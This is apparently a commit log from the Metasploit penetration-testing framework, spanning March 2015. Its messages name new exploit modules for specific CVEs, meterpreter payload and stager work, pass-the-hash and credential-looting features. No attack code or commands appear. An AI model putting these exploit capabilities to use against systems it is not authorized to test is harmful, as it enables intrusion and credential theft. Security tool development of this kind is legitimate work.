Meatballs f1d5d8f1ce Store to loot as well 2015-03-17 09:55:28 +00:00
Meatballs 9f40826f8e Store creds in database 2015-03-17 09:17:08 +00:00
Meatballs 3830e71257 Catch 7.5 401 2015-03-17 09:17:08 +00:00
Meatballs 1b565b0290 Check revision 2015-03-17 09:17:07 +00:00
Meatballs 7216f2a971 Initial commit 2015-03-17 09:17:07 +00:00
sinn3r 14296826f7 A cleaner way to set datastore options 2015-03-17 03:07:49 -05:00
sinn3r ff58f7d270 Add Symantec Web Gateway Login Module 2015-03-17 02:51:57 -05:00
jvazquez-r7 0a37df67a0 Add initial support for better RMI calls 2015-03-16 23:44:16 -05:00
HD Moore 495a8f3a88 Lands #4936, fixes a typo in post/windows/gather/credentials/steam 2015-03-16 20:25:07 -05:00
OJ 31685dbe60 Land @bcook-r7's tidies/specs/etc for stateless meterp 2015-03-17 09:32:02 +10:00
HD Moore a35e5bc0b8 Lands #4938, updates the spec template to match new tests 2015-03-16 18:28:46 -05:00
Brent Cook db56fcb1b8 update tools/missing-payload-tests to give correct advice
The template spec for new payloads needed updating to match the new cached
payload size spec.
2015-03-16 18:10:10 -05:00
Brent Cook 349995a109 update gemspec for new meterpreter bins 2015-03-16 18:09:19 -05:00
Brent Cook abb8a32e68 update spec for dynamic meterpreter payloads 2015-03-16 18:08:13 -05:00
joev dd824d9ed7 Land #4909, the many addresses of joev. 2015-03-16 17:12:20 -05:00
Felix Wehnert 2a525958bd fixed typo
Does no one tested this script on x64 yet ?
2015-03-16 20:15:26 +01:00
HD Moore 2ea984423b while(true)->loop, use thread.join 2015-03-16 14:08:01 -05:00
HD Moore 5fd3637d34 Remove the i32 size specifier (not needed) 2015-03-16 14:00:51 -05:00
HD Moore 69d9280748 Fix yard docs, retries, push.i8 instructions. See commit 05138524e3
Note that StagerRetryCount is not defined here, but will be in the parent class once #4934 lands
2015-03-16 13:52:13 -05:00
HD Moore 05138524e3 Fix yard docs, fix retries, trim bytes, retested and working 2015-03-16 13:35:36 -05:00
HD Moore 69a808b744 StagerProxy -> PayloadProxy 2015-03-16 12:14:42 -05:00
OJ 03232befc7 Add extra check to avoid crashing on startup 2015-03-16 17:14:36 +10:00
William Vu ac0e23d783 Land #4932, hardcoded username fix
For mssql_escalate_execute_as_sqli.
2015-03-16 01:46:13 -05:00
HD Moore f361e4ee52 Prefer the new-style proxy datastore options when available 2015-03-16 00:22:10 -05:00
HD Moore 7e89281485 Adds proxy (with authentication) support to reverse_http(s) 2015-03-16 00:03:31 -05:00
Scott Sutherland 00dbcc12ca Removed imp_user var from escalate_privs func 2015-03-15 22:02:12 -07:00
William Vu b0a8fd864c Land #4929, duplicate hash key fixes (final pass) 2015-03-15 20:38:41 -05:00
nullbind 5bebabb005 fixed hardcoded username 2015-03-15 19:45:02 -05:00
HD Moore 8e37342c50 Comment typo 2015-03-14 16:52:04 -05:00
HD Moore 0d12ca49a7 Work around lack of option normalization during size calculation 2015-03-14 16:19:13 -05:00
HD Moore 03019cf451 Adds StagerVerifySSLCert support (SHA1 of HandlerSSLCert) 2015-03-14 15:53:21 -05:00
HD Moore 11593800b6 Move X509 PEM parsing into Rex::Parser::X509Certificate 2015-03-14 15:52:23 -05:00
Sven Vetsch 4d3a1a2f71 fix all duplicated keys in modules 2015-03-14 13:10:42 +01:00
jvazquez-r7 bb81107e51 Land #4927, @wchen-r7's exploit for Flash PCRE CVE-2015-0318 2015-03-13 23:58:05 -05:00
sinn3r 3bfdfbc987 Small changes 2015-03-13 18:55:11 -05:00
jvazquez-r7 1ead57a80d Land #4928, @h0ng10's local exploit for iPass Mobile Client 2015-03-13 16:58:45 -05:00
jvazquez-r7 9894a3dc54 Change module filename 2015-03-13 16:53:17 -05:00
jvazquez-r7 b4de3ce42b Do minor cleanup 2015-03-13 16:52:26 -05:00
Hans-Martin Münch (h0ng10) b0e730d5ae Typo 2015-03-13 20:41:14 +01:00
Hans-Martin Münch (h0ng10) 726f01b8cc Initial version 2015-03-13 20:33:45 +01:00
sinn3r 182850df30 Stick to Win 7 2015-03-13 12:41:05 -05:00
sinn3r 2b199315d4 Final 2015-03-13 12:30:41 -05:00
sinn3r 2a25e2b2e1 Update Main.as 2015-03-13 11:40:16 -05:00
Brent Cook 74ee2d8408 Land #4916, @hmoore-r7 annotate Interlock Target param as 'in' only 2015-03-13 08:59:59 -05:00
Brent Cook 7a212a01eb Land #4917, @hmoore-r7 avoid another payload size recalc 2015-03-13 08:43:33 -05:00
Brent Cook b68e05e536 Land #4914, @hmoore-r7 and @BorjaMerino winhttp stagers 2015-03-13 08:24:11 -05:00
OJ 1338a55b0d Adjust error handling for extension enumeration
Make the catch case more generic for when the target doesn't support the
command for extension enumeration. This supports more than just windows
now.
2015-03-13 21:49:45 +10:00
OJ 35cfdf051a Add support for meterpreter_reverse_ipv6_tcp
New payload added, makes use of existing functionality.
2015-03-13 20:15:31 +10:00
OJ c5a74c7db4 Update the Meterpreter binaries version
This will force the build/PR to be invalid until the new meterpreter
binaries gem has been released.
2015-03-13 20:14:54 +10:00
sinn3r 0ee0a0da1c This seems to work 2015-03-13 04:43:06 -05:00
William Vu fa2fbc387c Land #4922, REG_MULTI_SZ for type2str 2015-03-13 01:07:27 -05:00
James Lee 14a5efce58 Add yardoc 2015-03-13 01:04:23 -05:00
William Vu a32cd2ae9e Land #4877, CVE-2015-0240 (Samba) aux module 2015-03-13 00:03:53 -05:00
HD Moore a57f02b863 Remove invalid SECURITY_FLAG_IGNORE_REVOCATION flag 2015-03-12 23:01:04 -05:00
scriptjunkie 6011e8b3e1 Land #4918, Rework how payload prepends work 2015-03-12 18:56:04 -05:00
jvazquez-r7 75b2ef81dc Land #4890, @julianvilas's improvements struts_code_exec_classloader 2015-03-12 17:25:00 -05:00
jvazquez-r7 b6146b1499 Use print_warning 2015-03-12 17:22:03 -05:00
jvazquez-r7 e035e6ce51 Land #4899, @h0ng10's exploit for iPass Open Mobile CVE-2015-0925 2015-03-12 16:42:52 -05:00
jvazquez-r7 7b7ebc20d7 Fix indentation 2015-03-12 16:41:41 -05:00
jvazquez-r7 da47d368e8 Do minor style cleaning 2015-03-12 16:35:48 -05:00
jvazquez-r7 a77078b555 Add X86 target 2015-03-12 16:34:44 -05:00
jvazquez-r7 1b20bc9dca Land #4919, @wchen-r7's new reference for ie_uxss_injection 2015-03-12 15:30:37 -05:00
sinn3r 0c3329f69e Back on track 2015-03-12 15:26:55 -05:00
HD Moore b43893ad71 Lands #4903, corrects the return value used for the script path 2015-03-12 14:05:22 -05:00
m-1-k-3 819a49b28a msftidy again 2015-03-12 19:09:52 +01:00
m-1-k-3 2eab258a76 msftidy 2015-03-12 19:07:56 +01:00
m-1-k-3 ccf7314c8f msftidy 2015-03-12 19:05:21 +01:00
m-1-k-3 6fcab31997 ncc exploit CVE-2015-1187 - dir626l 2015-03-12 18:55:50 +01:00
sinn3r 220a26c5a4 Land #4907, CVE-2015-1427, elasticsearch groovy code injection 2015-03-12 11:28:24 -05:00
sinn3r ac24652196 Land #4911, CVE-2015-0096 (ms15_020_shortcut_icon_dllloader) 2015-03-12 10:51:56 -05:00
sinn3r 67d05f9354 Add the PR as a reference (how to guide) 2015-03-12 10:51:01 -05:00
sinn3r 0d36115112 Update MS15-018 MSB reference 2015-03-12 10:13:37 -05:00
HD Moore 744b1a680e Reworks how payload prepends work internally, see #1674 2015-03-12 02:30:06 -05:00
HD Moore 376d05f797 Avoid instantiating the module during recalculate 2015-03-12 01:02:37 -05:00
HD Moore f676dc03c8 Lands #4849, prevents the target from running out of memory during NTFS reads 2015-03-12 00:01:47 -05:00
HD Moore 7252ba284a Tweak memory usage from 64Mb to 4Mb 2015-03-11 23:58:13 -05:00
jvazquez-r7 e9e9d27363 Merge support for the SMB share mixin 2015-03-11 23:49:27 -05:00
jvazquez-r7 68d69177ad Add smb module for MS15-020 2015-03-11 23:46:50 -05:00
HD Moore 24440b8c38 Lands #4913, adds OSVDB reference to nvidia module 2015-03-11 23:32:22 -05:00
HD Moore aa79b71e35 Fixes #4897 by corrected kernel32!Interlocked function definitions 2015-03-11 23:26:32 -05:00
jvazquez-r7 a9fa2d25aa Add SMB module for MS10-046 2015-03-11 23:23:56 -05:00
HD Moore cdef992d6b Lands #4912, http handlers will use the client's Host header by default. 2015-03-11 23:23:37 -05:00
scriptjunkie dfbc50ff47 Make Host header override optional 2015-03-11 23:15:45 -05:00
OJ 345b5cc8e1 Add stageless meterpreter support
This commit adds plumbing which allows for the creation of stageless
meterpreter payloads that include extensions. The included transprots at
this point are bind_tcp, reverse_tcp and reverse_https, all x86.

More coming for x64. Will also validate http soon.
2015-03-12 13:22:04 +10:00
HD Moore b604599c8e Fix comments 2015-03-11 21:32:35 -05:00
HD Moore c3f2536ef6 Make the stager clear in the payload descriptions 2015-03-11 21:30:02 -05:00
HD Moore b105a88b95 Fix https convention 2015-03-11 21:26:31 -05:00
HD Moore 8bae58d631 Updated cache sizes 2015-03-11 21:25:12 -05:00
HD Moore 479a9cc1a9 Fix missing stack variables & remove old comment 2015-03-11 21:23:27 -05:00
HD Moore 631e1606bf Fix WinHttpSetOption & stack parameters 2015-03-11 21:05:18 -05:00
Tod Beardsley 99494328d2 Update Nvidia module with an OSVDB ref
The paper is really good, but could use a more traditional reference.

[See #4884]
2015-03-11 19:51:22 -05:00
scriptjunkie 401d553f84 Use host header in reverse_http(s) 2015-03-11 19:40:52 -05:00
jvazquez-r7 0e4e264325 Redo description 2015-03-11 18:19:28 -05:00
jvazquez-r7 aaabd23707 merge cleanup 2015-03-11 18:13:56 -05:00
jvazquez-r7 4e6aca0209 refactor create_exploit_file 2015-03-11 18:13:09 -05:00
jvazquez-r7 5662e5c5a6 Add module for MS15-020 2015-03-11 17:29:02 -05:00
HD Moore 66a45ac7fd Add spec for reverse_winhttps 2015-03-11 16:29:22 -05:00
HD Moore 1135e5e073 First take on WinHTTP stagers, untested 2015-03-11 16:27:14 -05:00
HD Moore 7e3b4017f0 Rename and resynced with master, ready for refactoring 2015-03-11 14:36:27 -05:00
HD Moore ea1bc69e2e Merge branch 'master' into feature/add-reverse_winhttp-stagers 2015-03-11 14:29:34 -05:00
sinn3r 215c209f88 Land #4901, CVE-2014-0311, Flash ByteArray Uncompress UAF 2015-03-11 14:04:17 -05:00
sinn3r 43b90610b1 Temp 2015-03-11 13:53:34 -05:00
Tod Beardsley 239b0c5d09 Add the most recent alias joe uses 2015-03-11 12:28:51 -05:00
Tod Beardsley c227c56cd9 Update .mailmap for @joevennix 2015-03-11 12:24:04 -05:00
Brent Cook ceeee4446f Land #4904, @hmoore-r7 reworks reverse_http/s stagers
They are now assembled dynamically and support more flexible options,
such as long URLs.
2015-03-11 10:41:59 -05:00
sinn3r 2a9d6e64e2 Starting point for CVE-2015-0318 2015-03-11 09:58:41 -05:00
HD Moore 02c7461d32 Lands #4906 and fixes #4905 by updating Conventions for HTTP incompatible payloads 2015-03-11 00:49:27 -05:00
HD Moore ad39adf9c2 Missing comma 2015-03-11 00:49:07 -05:00
HD Moore cb1a1ef692 Remove bad stager+stage combinations from the payload set 2015-03-11 00:46:24 -05:00
HD Moore a89926b663 Exclude vncinject from http stagers (depends on sockedi) 2015-03-11 00:46:04 -05:00
jvazquez-r7 8a452a7cba Do somce cleanup 2015-03-10 17:10:44 -05:00
Brent Cook 9ade107325 disable reverse_http methods from upexec and shell payloads
These don't work over http and don't appear to have ever, as far back as
I could test. They appear to be an accident perhaps.
2015-03-10 17:08:58 -05:00
jvazquez-r7 4a84693fb0 Support windows 2015-03-10 16:58:33 -05:00
jvazquez-r7 c26bea3429 Fix credits 2015-03-10 16:27:07 -05:00
jvazquez-r7 980c83cb70 Fix metadata 2015-03-10 16:25:02 -05:00
jvazquez-r7 9e17874389 Exploit CVE-2015-1427 2015-03-10 16:17:51 -05:00
HD Moore 1d17e9ab5b Remove the 256 byte limit for URLs 2015-03-10 15:27:04 -05:00
James Lee cb41154712 Make a MatchResult when sessions are reported 2015-03-10 15:17:57 -05:00
Samuel Huckins 7be665d74e Land #4900, credential version for postgres hash 2015-03-10 15:17:55 -05:00
HD Moore 5f382e539a Updated required_space to count all 256 bytes of the URL 2015-03-10 15:17:09 -05:00
HD Moore dedf3726ea Simplify the uri_req_len logic, thanks @bcook-r7 2015-03-10 15:12:02 -05:00
David Maloney 261159aa66 update lockfile 2015-03-10 14:38:01 -05:00
William Vu 736f0b34be Land #4902, @nstarke's db_connect warning message 2015-03-10 14:12:47 -05:00
HD Moore db351317a5 Merge with PR branch 2015-03-10 14:08:35 -05:00
HD Moore 0f763c2cb3 First step to reworking the winhttp stagers 2015-03-10 14:07:25 -05:00
Nicholas Starke 9a974af7dd Merge pull request #3 from wvu-r7/pr/4902
Change print_status to print_error
2015-03-10 14:05:34 -05:00
William Vu 3c7b061e05 Use single quotes
But I like double quotes. :(
2015-03-10 14:03:13 -05:00
Borja Merino 991e72a4fa HTTP stager based on WinHttp 2015-03-10 13:40:16 -05:00
William Vu 72e7691300 Change print_status to print_error
And drop db_disconnect note to another line.
2015-03-10 13:31:35 -05:00
Nicholas Starke 4d12690ca6 Merge pull request #2 from wvu-r7/pr/4902
Refactor db_{status,connect} a bit
2015-03-10 13:02:20 -05:00
HD Moore 966848127a Refactor x86 Windows reverse_http and reverse_https stagers 2015-03-10 12:48:30 -05:00
William Vu e81f2e366c Refactor db_{status,connect} a bit
Also allow for db_connect help.
2015-03-10 12:35:58 -05:00
m-1-k-3 64f769504b encoding 2015-03-10 17:47:15 +01:00
m-1-k-3 6657c7d11d Belkin - CVE-2014-1635 2015-03-10 16:49:51 +01:00
jvazquez-r7 f8f178b1db Fix script_mvel_rce check 2015-03-10 09:39:02 -05:00
jvazquez-r7 9dc99e4207 Update check 2015-03-10 09:26:22 -05:00
nstarke ee8318d5c4 Adding db_disconnect qualifying statement 2015-03-10 11:58:04 +00:00
Sigurd Jervelund Hansen c6cb1e840d Fixes persistence module by revering changes to the value returned by the write_script_to_target function, which screws up the path that is used for startup. Currently an escaped path "C://Users//..." is being used instead of using windows standards "C:\Users\...". 2015-03-10 10:26:03 +01:00
William Vu cd992d5ea6 Land #4875, rm some old and crufty tools 2015-03-10 00:02:04 -05:00
William Vu ab70223107 Remove note about resplat.rb in msftidy 2015-03-10 00:00:29 -05:00
Brent Cook 97f09b6ab0 Land #4894: hmoore-r7 cache payload sizes on start
Avoid the hit of regenerating all of the static-size payloads when
loading the framework. This will facilitate conversion of payloads to
use metasm later.
2015-03-09 23:06:55 -05:00
jvazquez-r7 fc4b312879 Add template 2015-03-09 23:04:32 -05:00
nstarke 187a0445f3 Issue #4868 - Adding warning message to db_connect when already connected 2015-03-10 00:02:34 +00:00
Julian Vilas fe822f8d33 Modify automatic file cleanup 2015-03-10 00:45:20 +01:00
Julian Vilas 0ef303cb6c Fix Java payload 2015-03-10 00:01:27 +01:00
jvazquez-r7 14c3848493 Delete useless comment 2015-03-09 16:59:10 -05:00
HD Moore 618fbf075a Update CachedSize for the fixed stager 2015-03-09 16:57:14 -05:00
HD Moore 746f18d9bb Fallback to a localhost variant to make the length predictable 2015-03-09 16:56:25 -05:00
jvazquez-r7 78167c3bb8 Use single quotes when possible 2015-03-09 16:55:21 -05:00
HD Moore 6543c3c36f Update CachedSize for the fixed stager 2015-03-09 16:54:57 -05:00
HD Moore c676ac1499 Fallback to a localhost variant to make the length predictable 2015-03-09 16:53:28 -05:00
jvazquez-r7 cb72b26874 Add module for CVE-2014-0311 2015-03-09 16:52:23 -05:00
HD Moore d0324e8ad3 Final cleanup, passing specs 2015-03-09 15:50:57 -05:00
HD Moore da81f6b2a0 Correct the :dynamic cache sizes 2015-03-09 15:44:14 -05:00
HD Moore 78456fb2e0 Correct a typo (stringified symbol loses the :) 2015-03-09 15:42:23 -05:00
HD Moore 038591497f YARD docs for the Msf::Util::PayloadCachedSize class 2015-03-09 15:39:19 -05:00
James Lee 838746b021 Add user_data_is_match? method 2015-03-09 15:35:53 -05:00
HD Moore 02509d02e4 The result of running ./tools/update_payload_cached_sizes.rb 2015-03-09 15:31:04 -05:00
HD Moore 99e2b05597 Move the cache update logic into a utility class 2015-03-09 15:29:58 -05:00
HD Moore 60145ad9a1 Cosmetic tweaks to the specs 2015-03-09 15:08:11 -05:00
HD Moore 7dc0af443f Rework specs 2015-03-09 14:41:25 -05:00
HD Moore 33f96f5c31 Remvoe the useless pinst variable from the previous test 2015-03-09 13:59:58 -05:00
HD Moore f61c3f33bd Validate cached_size and dynamic_size? in the payload specs 2015-03-09 13:58:18 -05:00
HD Moore 8c635243d3 Fix whitespace in the regex, implements Msf::Payload.dynamic_size? 2015-03-09 13:15:06 -05:00
Brent Cook 603179176a Land #4876, @hmoore-r7 give encoders and payloads space available 2015-03-09 11:50:46 -05:00
Samuel Huckins 08df0bfaca Land #4858, RPC client true/truthy fix
* Misc ruby cleanup and fixing the issue that caused MSP-12235, rolling back the
full rollback of PR 4823
2015-03-09 11:35:57 -05:00
David Maloney 4ca8611d94 latest credential for postgres hash import/export
latest version of metasploit-credential updates credential
import-export to support the PostgresMD5 hash type

MSP-12266
2015-03-09 11:31:02 -05:00
Hans-Martin Münch (h0ng10) bba4223d68 Initial commit 2015-03-09 16:36:11 +01:00
Tod Beardsley df80d56fda Land #4898, prefer URI to open-uri 2015-03-09 09:14:10 -05:00
James Lee ff91953f92 Whitespace 2015-03-09 08:58:25 -05:00
James Lee 9195479a6d Add a context for without user_data 2015-03-09 08:56:52 -05:00
James Lee b37a975108 Use metasploit_data_models staging branch 2015-03-09 01:28:27 -05:00
HD Moore c3479ba747 Update msfvenom & PayloadGenerator to pass in available_space 2015-03-09 01:14:56 -05:00
James Lee d771f54e35 Axe unused var 2015-03-09 00:21:10 -05:00
James Lee 6baff47e98 Refactor inference into its own method 2015-03-09 00:19:57 -05:00
sinn3r 9e5231f951 More explicit and better readability
thanks Sam!
2015-03-09 00:16:56 -05:00
sinn3r a418410260 Change {} back to do/end
This seems to be the only one.
2015-03-09 00:00:49 -05:00
sinn3r a91a29d4e5 Add a comment explaining about the error key 2015-03-08 23:51:43 -05:00
James Lee cd5699dc39 Sort cases and add specs 2015-03-08 23:27:32 -05:00
James Lee 0440e19cc1 Add REG_MULTI_SZ 2015-03-08 22:48:24 -05:00
HD Moore d46635ff8b Restore a comment lost in the code churn 2015-03-07 21:25:35 -06:00
HD Moore 853bf1b569 Accidental carry over from stale master 2015-03-07 20:48:22 -06:00
HD Moore 2e49791bef This implements payload size caching, speeding up framework loads 2015-03-07 20:44:19 -06:00
HD Moore 6c71ae7fc3 Lands #4893, coerce to string to avoid stack trace
essage aborts
ssage aborts
2015-03-07 18:40:49 -06:00
William Vu c3e91c263f Fix NoMethodError in plugins/nessus.rb
Triggered by @port.length in nessus_login from YAML.
2015-03-07 17:56:12 -06:00
William Vu 5316e0f0ce Land #4887, msfconsole -n store_loot fix 2015-03-07 17:14:21 -06:00
William Vu b79e99f55a Land #4892, "response HTML" message fix 2015-03-07 17:09:13 -06:00
William Vu 3075c56064 Fix "response HTML" message
In modules/exploits/multi/browser/firefox_xpi_bootstrapped_addon.rb.
2015-03-07 17:08:08 -06:00
sinn3r f3494d9019 Correct grammar in BES 2015-03-07 16:04:06 -06:00
Julian Vilas 2eb0011a99 Autotrigger JSP shell at docBase 2015-03-07 20:41:08 +01:00
Julian Vilas 3be2bde5a2 Use bypass for bulletin S2-020 2015-03-07 19:14:20 +01:00
James Lee 8adc4646f8 Add :user_data to Msf::Module 2015-03-06 14:23:06 -06:00
joev d7295959ca Remove open-uri usage in msf. 2015-03-05 23:45:28 -06:00
joev ca3b2220b5 Check to ensure Mdm is loaded to fix store_loot. 2015-03-05 23:27:13 -06:00
Brent Cook a13cd2bcb7 Land #4880: @wchen-r7 check if module has session before comparison 2015-03-05 20:48:42 -06:00
jvazquez-r7 2134cc3d22 Modify description 2015-03-05 16:55:24 -06:00
jvazquez-r7 c46c05f5ab Land #4884, @Meatballs1's module for Nvidia arbitrary dll injection 2015-03-05 16:53:11 -06:00
jvazquez-r7 7b4776ee79 Deregister FOLDER_NAME 2015-03-05 16:42:07 -06:00
jvazquez-r7 1bc81ea723 Merge #4884 into updated master 2015-03-05 16:41:15 -06:00
Meatballs 33f089b1a5 Tidyup 2015-03-05 21:50:12 +00:00
jvazquez-r7 2da1b6cfda Land #3323, @0x41414141's SMB target for struts_code_exec_classloader 2015-03-05 15:49:22 -06:00
jvazquez-r7 9f3f8bb727 Merging #3323 work 2015-03-05 15:44:15 -06:00
jvazquez-r7 c388fd49c2 Fix print message 2015-03-05 15:43:54 -06:00
jvazquez-r7 dd2559b748 Favor new target over new module 2015-03-05 15:41:53 -06:00
jvazquez-r7 ad0e287795 Modify struts_code_exec_classloader instead of adding a new module 2015-03-05 15:41:16 -06:00
jvazquez-r7 e1a4b046a0 Add support for tomcat 7 to struts_code_exec_classloader 2015-03-05 15:40:24 -06:00
Meatballs c56679f33e Modify for new SMB mixin 2015-03-05 21:26:13 +00:00
William Vu 3e81bf073c Land #4883, Postgres PTH reference 2015-03-05 15:05:27 -06:00
Tod Beardsley e429d4c04f Add reference and description for PTH on Postgres
Dave and William did most of the work already over on PR #4871, this
just points it out in the module.
2015-03-05 14:36:56 -06:00
Tod Beardsley 0c87e28208 Land #4882, workspace sort order
[Fixes #4881]
2015-03-05 14:30:00 -06:00
Matthew Hall fef8b89001 Merge pull request #6 from jvazquez-r7/final_3323_folder_support
Add support for a folder and update module.  Thanks @jvazquez-r7  - yeah I was using an older version of my code for the exploit (whoops - long day...). Landed. I'll look at merging this with the existing exploit over the weekend.
2015-03-05 20:08:10 +00:00
Samuel Huckins 7cb3e236fb Adding back prepended colons
Don't seem to be needed but don't want to introduce that change.
2015-03-05 14:06:50 -06:00
Samuel Huckins 02d30b3d44 Changes workspace cmd ordering to updated_at asc 2015-03-05 14:05:24 -06:00
Samuel Huckins 84df403d11 Land #4852, vuln note import/export addition 2015-03-05 13:54:22 -06:00
sinn3r 16c86227e2 Change to OptBool and default to explicit 2015-03-05 13:07:03 -06:00
jvazquez-r7 de08d8247b Do some module cleanup 2015-03-05 13:00:01 -06:00
sinn3r 31191bef39 Fix #4865, undef method 'ancestors' in lib/msf/core/payload_set.rb
Fix #4865
2015-03-05 12:49:51 -06:00
jvazquez-r7 82659aba93 Populate metadata from code to make test easier 2015-03-05 12:40:20 -06:00
jvazquez-r7 dc02f8332f Pass msftidy 2015-03-05 12:29:31 -06:00
jvazquez-r7 a06eb04d59 Deregister FOLDER_NAME on exploit modules 2015-03-05 12:27:12 -06:00
jvazquez-r7 38f8fe382c Update specs 2015-03-05 12:24:41 -06:00
jvazquez-r7 5ede40a39d Change the variable name 2015-03-05 12:21:33 -06:00
jvazquez-r7 e0a22a6794 Add support for folder 2015-03-05 12:19:33 -06:00
Tod Beardsley 0353602829 Add back set_binary_encoding.rb
[See #4875]
2015-03-05 12:05:05 -06:00
sinn3r cb9922ad39 Land #4874, Add PHPMoAdmin command injection 2015-03-05 11:30:44 -06:00
sinn3r 8978b1d7b5 Add a version 2015-03-05 11:29:44 -06:00
Matthew Hall 5b65811fb2 Merge pull request #5 from jvazquez-r7/land_3323
Update with rapid7 master changes. I'll take a further look at this module and add version support to pick the best exploit path for differing tomcat versions.
2015-03-05 14:46:01 +00:00
Ricardo Almeida 32188f09d6 Update phpmoadmin_exec.rb
Changes:
Added required comment at the top of the file;
Changed Class name "Metasploit3" >> "Metasploit4";
Standard name/email format for public PoC author.
2015-03-05 12:56:08 +00:00
Ricardo Almeida 95962aab0d Update phpmoadmin_exec.rb
Changes:
"Check if vulnerable" code improvement;
Payload delivery code improvement;
Minor indent issues.

Thanks for your feedback guys :)
2015-03-05 12:46:53 +00:00
William Vu a23381118b Land #4878, squid_pivot_scanning interpolation fix 2015-03-05 01:09:40 -06:00
aushack 2f4df39dc9 Fixed typo 2015-03-05 17:40:51 +11:00
sinn3r d40e7485dd Add CVE-2015-0240 auxiliary module 2015-03-04 23:50:14 -06:00
HD Moore 7a354f322c Comment typo (missing i). 2015-03-04 20:11:41 -06:00
HD Moore 95f67dba7a Tell payloads and encoders how much space they have to work with 2015-03-04 19:25:04 -06:00
HD Moore 1001061a96 Initialize @capture_count 2015-03-04 18:52:18 -06:00
Tod Beardsley 4ad9638682 Remove some old and crufty /tools
It's possible someone still wants the Webscarab stand-alone importer,
but I cannot imagine that after years of bitrot that is even viable in
its current state.

The rest of them are all older development tools that are no longer
needed (normal vim/rubymine auto-formatting will do the trick).
2015-03-04 16:46:40 -06:00
jvazquez-r7 b9a30d60d4 Land #3294, @0x41414141's generic dll injection through SMB shared folder 2015-03-04 16:42:24 -06:00
jvazquez-r7 e715eaba58 Update description 2015-03-04 16:39:27 -06:00
jvazquez-r7 e155f2998e Change module filename 2015-03-04 16:38:08 -06:00
jvazquez-r7 77abd57397 Do code cleanup 2015-03-04 16:37:31 -06:00
jvazquez-r7 22ff4d0097 Update with master changes 2015-03-04 16:30:19 -06:00
jvazquez-r7 bcdf261f3b Land #3076, @0x41414141's generic dll injection through HTTP module 2015-03-04 16:19:14 -06:00
jvazquez-r7 e7de09df29 Change module filename 2015-03-04 16:18:45 -06:00
jvazquez-r7 1337b7ace8 Clean module 2015-03-04 16:18:10 -06:00
Ricardo Almeida 9530e15c81 Update phpmoadmin_exec.rb
Changes:
Changed description section;
Changed 'URL' to 'EDB' in references section;
Added newline at the end.
2015-03-04 21:59:08 +00:00
jvazquez-r7 d4738d8c0a Update #3076 branch 2015-03-04 15:51:00 -06:00
Ricardo Almeida c19895ac85 Update phpmoadmin_exec.rb
Changes:
Added new URL;
Added CVE number;
Corrected the disclosure date;
Corrected the normalize_uri() function syntax.
2015-03-04 21:31:44 +00:00
jvazquez-r7 5cc9ea3618 Update with master changes 2015-03-04 15:16:12 -06:00
William Vu a64dd4a1af Land #4871, Postgres PTH support
MSP-12244
2015-03-04 15:08:57 -06:00
David Maloney 8d6ba0e775 fix transient factory bug
pulled re-released metasploit-credential to fix
bug by a hidden change to factories

MSP-1244
2015-03-04 14:58:49 -06:00
David Maloney 7fa8e4faae fix schema.rb again
screwed it up somehow the first time
2015-03-04 14:01:47 -06:00
David Maloney 2d46c06b97 Merge branch 'master' into feature/MSP-12244/postgres-pass-the-hash 2015-03-04 13:56:10 -06:00
David Maloney dee2e84530 update schema 2015-03-04 13:31:23 -06:00
jvazquez-r7 1676d98bf9 Land #4451, @0x41414141's module for CVE-2014-2623, using the new SMB Share mixin 2015-03-04 13:09:10 -06:00
jvazquez-r7 fa9d921138 Beautify description 2015-03-04 13:07:10 -06:00
jvazquez-r7 8fdb7a798e Change module filename 2015-03-04 13:01:06 -06:00
jvazquez-r7 36375fab28 Fix downcase path handling 2015-03-04 12:58:41 -06:00
David Maloney 6b9cf40110 update gemfile.lock
update gemfile lock for new credential version

MSP-12244
2015-03-04 12:29:04 -06:00
jvazquez-r7 62dde22d88 Clean packet building 2015-03-04 12:27:58 -06:00
Ricardo Almeida 4d67e0e1bb Add PHPMoAdmin RCE 2015-03-04 18:17:31 +00:00
jvazquez-r7 e04ff3ee24 Delete CMD option 2015-03-04 11:51:58 -06:00
jvazquez-r7 d4337ce1ae Do minor metadata cleanup 2015-03-04 11:46:01 -06:00
jvazquez-r7 1371cfe025 Test landing #4451 2015-03-04 11:20:07 -06:00
jvazquez-r7 b21439a8cf Land #3318, @0x41414141's ms13_071_theme update to use Msf::Exploit::Remote::SMB::Server::Share 2015-03-04 10:59:52 -06:00
jvazquez-r7 4de1fdd020 Make SHARE prints verbose 2015-03-04 10:57:18 -06:00
jvazquez-r7 aaab4b401a Fix indenting and use primer 2015-03-04 10:46:34 -06:00
jvazquez-r7 0e57277dc1 Do cleanup 2015-03-04 10:33:57 -06:00
jvazquez-r7 b9ed8178a9 Solve conflicts on ms13_071_theme 2015-03-04 10:28:52 -06:00
jvazquez-r7 1c064f6b46 Land #3074, @0x41414141 SMB Share mixin 2015-03-04 10:16:04 -06:00
jvazquez-r7 64fd818364 Land #4411, @bcook-r7's support for direct, atomic registry key access in meterpreter 2015-03-04 10:01:33 -06:00
jvazquez-r7 cdf5fec474 Fix style 2015-03-04 09:57:39 -06:00
Matthew Hall 4757698c15 Modify primer to utilise file_contents macro. 2015-03-04 09:52:00 +00:00
Matthew Hall a90ebfe9a7 Modify primer to utilise file_contents macro. 2015-03-04 09:51:32 +00:00
Matthew Hall dfb6711ad7 Modify primer to utilise file_contents macro. 2015-03-04 09:51:01 +00:00
Matthew Hall a5d748d19e Modify primer to utilise file_contents macro. 2015-03-04 09:50:28 +00:00
Matthew Hall 0d56f5b6e6 Modify primer to utilise file_contents macro. 2015-03-04 09:49:17 +00:00
Matthew Hall c7c5270b3b Merge pull request #4 from jvazquez-r7/review_3074_documentation
Add documentation and specs. All tests pass on my end! Thanks @jvazquez-r7
2015-03-04 09:47:35 +00:00
Brent Cook 0988c5e691 use the correct implementation for query_value_direct 2015-03-03 22:29:23 -06:00
jvazquez-r7 80b76436bb Land #4831, @wchen-r7's update for MS14-064 exploit
* Support Windows XP with VBScript technique
2015-03-03 19:19:49 -06:00
David Maloney 75c075e32b properly anchor regexes
duh
2015-03-03 19:15:29 -06:00
sinn3r 7591e9ece3 Unbreak the comment 2015-03-03 19:14:18 -06:00
sinn3r 79e7bf7f9c Update comments and description 2015-03-03 19:13:15 -06:00
David Maloney c8f23b2903 fix jtr_postgres_fast too
the JtR hash cracker for postgres hashes now uses
the new PostgresMD5 class for finding it's hashes

MSP-12244
2015-03-03 18:46:47 -06:00
David Maloney 8c0e892455 update metasploit-credential to get new model
update version of metasploit-credential in order
to get the PostgresMD5 hash subtype

MSP-12244
2015-03-03 18:34:50 -06:00
